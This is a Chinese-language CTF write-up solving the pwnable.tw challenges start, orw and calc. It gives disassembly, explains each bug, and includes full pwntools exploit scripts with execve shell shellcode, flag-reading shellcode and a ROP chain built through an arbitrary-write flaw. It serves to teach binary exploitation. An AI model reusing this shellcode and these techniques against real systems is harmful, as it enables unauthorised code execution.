最近打算做一做pwnable.tw的题目,把一些过程给大家分享一下,前三题(start,orw,calc)比较简单,所以我写到这一篇文章里了
[0] % checksec start [*] '/home/dylan/desktop/pwnable.tw/start/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
.text:08048060 public _start .text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx ; fd = 0 .text:08048091 ; addr = esp .text:08048093 mov dl, 3Ch ; count = 60 .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - sys_read .text:08048099 add esp, 14h .text:0804809C retn
配合注释一眼就看完了,先调用write打印栈里面的一个字符串,然后在同一个地方read写入60个字节,最后抬高栈顶,返回到exit函数,结束程序
利用思路
exp
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'start' elf = context.binary = ELF(exe) #don't forget to change it host = 'chall.pwnable.tw' port = 10000 #don't forget to change it #ctx.binary = './' + 'start' ctx.binary = exe libc = elf.libc ctx.debug_remote_libc = False ctx.remote_libc = libc if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: No RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x8048000) def exp(): #shellcode shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" log.success('len(shellcode) = ' + hex(len(shellcode))) #leak esp payload = 'a'*0x14 + p32(0x08048087) io.recv() io.send(payload) stack = u32(io.recv()[:4]) + 0x14 log.success('target addr = ' + hex(stack)) #get shell payload = 'a'*0x14 + p32(stack) + shellcode io.send(payload) if __name__ == '__main__': exp() io.interactive()
[0] % checksec orw [*] '/home/dylan/desktop/pwnable.tw/orw/orw' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp) { orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 0xC8u); ((void (*)(void))shellcode)(); return 0; }
# -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'orw' elf = context.binary = ELF(exe) #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10001) #don't forget to change it #ctx.binary = './' + 'orw' ctx.binary = exe libc = elf.libc ctx.debug_remote_libc = False ctx.remote_libc = libc if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX disabled # PIE: No PIE (0x8048000) # RWX: Has RWX segments def exp(): #shellcode shellcode = shellcraft.open('/home/orw/flag') shellcode += shellcraft.read('eax','esp',0x30) shellcode += shellcraft.write(1,'esp',0x30) io.recv() io.send(asm(shellcode)) if __name__ == '__main__': exp() io.interactive()
[17] % checksec calc [*] '/home/dylan/desktop/pwnable.tw/calc/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
unsigned int calc() { int ptr; // [esp+18h] [ebp-5A0h] int result[100]; // [esp+1Ch] [ebp-59Ch] char calc_string; // [esp+1ACh] [ebp-40Ch] unsigned int v4; // [esp+5ACh] [ebp-Ch] v4 = __readgsdword(0x14u); while ( 1 ) { bzero(&calc_string, 0x400u); if ( !get_expr((int)&calc_string, 1024) ) break; init_pool(&ptr); if ( parse_expr((int)&calc_string, &ptr) ) { printf((const char *)&unk_80BF804, result[ptr - 1]); fflush(stdout); } } return __readgsdword(0x14u) ^ v4; }
这是主要函数,先调用get_expr函数读取一个字符串,并且过滤除[0-9]*+-\%之外的字符,init_pool初始化一个内存块,然后调用parse_expr函数计算结果,结果存放在result[ptr - 1]处.
signed int __cdecl parse_expr(int calc_string, _DWORD *result) { int len; // ST2C_4 int v4; // eax int v5; // [esp+20h] [ebp-88h] int index; // [esp+24h] [ebp-84h] int v7; // [esp+28h] [ebp-80h] char *malloc_mem; // [esp+30h] [ebp-78h] int v9; // [esp+34h] [ebp-74h] char s[100]; // [esp+38h] [ebp-70h] unsigned int v11; // [esp+9Ch] [ebp-Ch] v11 = __readgsdword(0x14u); v5 = calc_string; v7 = 0; bzero(s, 0x64u); for ( index = 0; ; ++index ) { if ( (unsigned int)(*(char *)(index + calc_string) - 48) > 9 ) { len = index + calc_string - v5; malloc_mem = (char *)malloc(len + 1); memcpy(malloc_mem, v5, len); malloc_mem[len] = 0; if ( !strcmp(malloc_mem, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; } v9 = atoi(malloc_mem); if ( v9 > 0 ) { v4 = (*result)++; result[v4 + 1] = v9; } if ( *(_BYTE *)(index + calc_string) && (unsigned int)(*(char *)(index + 1 + calc_string) - 48) > 9 ) { puts("expression error!"); fflush(stdout); return 0; } v5 = index + 1 + calc_string; if ( s[v7] ) { switch ( *(char *)(index + calc_string) ) { case '%': case '*': case '/': if ( s[v7] != 43 && s[v7] != 45 ) { eval(result, s[v7]); s[v7] = *(_BYTE *)(index + calc_string); } else { s[++v7] = *(_BYTE *)(index + calc_string); } break; case '+': case '-': eval(result, s[v7]); s[v7] = *(_BYTE *)(index + calc_string); break; default: eval(result, s[v7--]); break; } } else { s[v7] = *(_BYTE *)(index + calc_string); } if ( !*(_BYTE *)(index + calc_string) ) break; } } while ( v7 >= 0 ) eval(result, s[v7--]); return 1; }
result数组保存操作数,s数组保存运算符号,result[0]保存操作数的个数.
_DWORD *__cdecl eval(_DWORD *result, char a2) { _DWORD *a3; // eax if ( a2 == '+' ) { result[*result - 1] += result[*result]; } else if ( a2 > '+' ) { if ( a2 == '-' ) { result[*result - 1] -= result[*result]; } else if ( a2 == '/' ) { result[*result - 1] /= result[*result]; } } else if ( a2 == '*' ) { result[*result - 1] *= result[*result]; } a3 = result; --*result; return a3; }
漏洞就发生在eval函数里边,程序并没有对result[0]进行检查,所以如果我们控制了result[0]的值,就可以进行任意地址读写了.假如+20因为第一个字符为符号+而只有一个数字,那么在这样的情况下执行eval函数时,result[*result - 1] += result[result]就会变成result[1-1]+=result[1],于是就成功控制了result[0]的值。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * from struct import pack local = True # Set up pwntools for the correct architecture exe = './' + 'calc' elf = context.binary = ELF(exe) #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10100) #don't forget to change it #ctx.binary = './' + 'calc' ctx.binary = exe libc = elf.libc ctx.debug_remote_libc = False ctx.remote_libc = libc if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x8048000) #shellcode shellcode = '' shellcode += pack('<I', 0x080701aa) # pop edx ; ret shellcode += pack('<I', 0x080ec060) # @ .data shellcode += pack('<I', 0x0805c34b) # pop eax ; ret shellcode += '/bin' shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret shellcode += pack('<I', 0x080701aa) # pop edx ; ret shellcode += pack('<I', 0x080ec064) # @ .data + 4 shellcode += pack('<I', 0x0805c34b) # pop eax ; ret shellcode += '//sh' shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret shellcode += pack('<I', 0x080701aa) # pop edx ; ret shellcode += pack('<I', 0x080ec068) # @ .data + 8 shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret shellcode += pack('<I', 0x080481d1) # pop ebx ; ret shellcode += pack('<I', 0x080ec060) # @ .data shellcode += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret shellcode += pack('<I', 0x080ec068) # @ .data + 8 shellcode += pack('<I', 0x080ec060) # padding without overwrite ebx shellcode += pack('<I', 0x080701aa) # pop edx ; ret shellcode += pack('<I', 0x080ec068) # @ .data + 8 shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret shellcode += pack('<I', 0x08049a21) # int 0x80 def set_value(addr): io.sendline('+'+str(addr)) value = int(io.recv()) if value > 0: io.sendline('+'+str(addr)+'-'+str(value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4]))) else: io.sendline('+'+str(addr)+'+'+str(-value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4]))) io.recv() def exp(): io.recv() for i in range(361,361+len(shellcode)/4): set_value(i) io.sendline('') if __name__ == '__main__': exp() io.interactive()
blog:https://0x2l.github.io/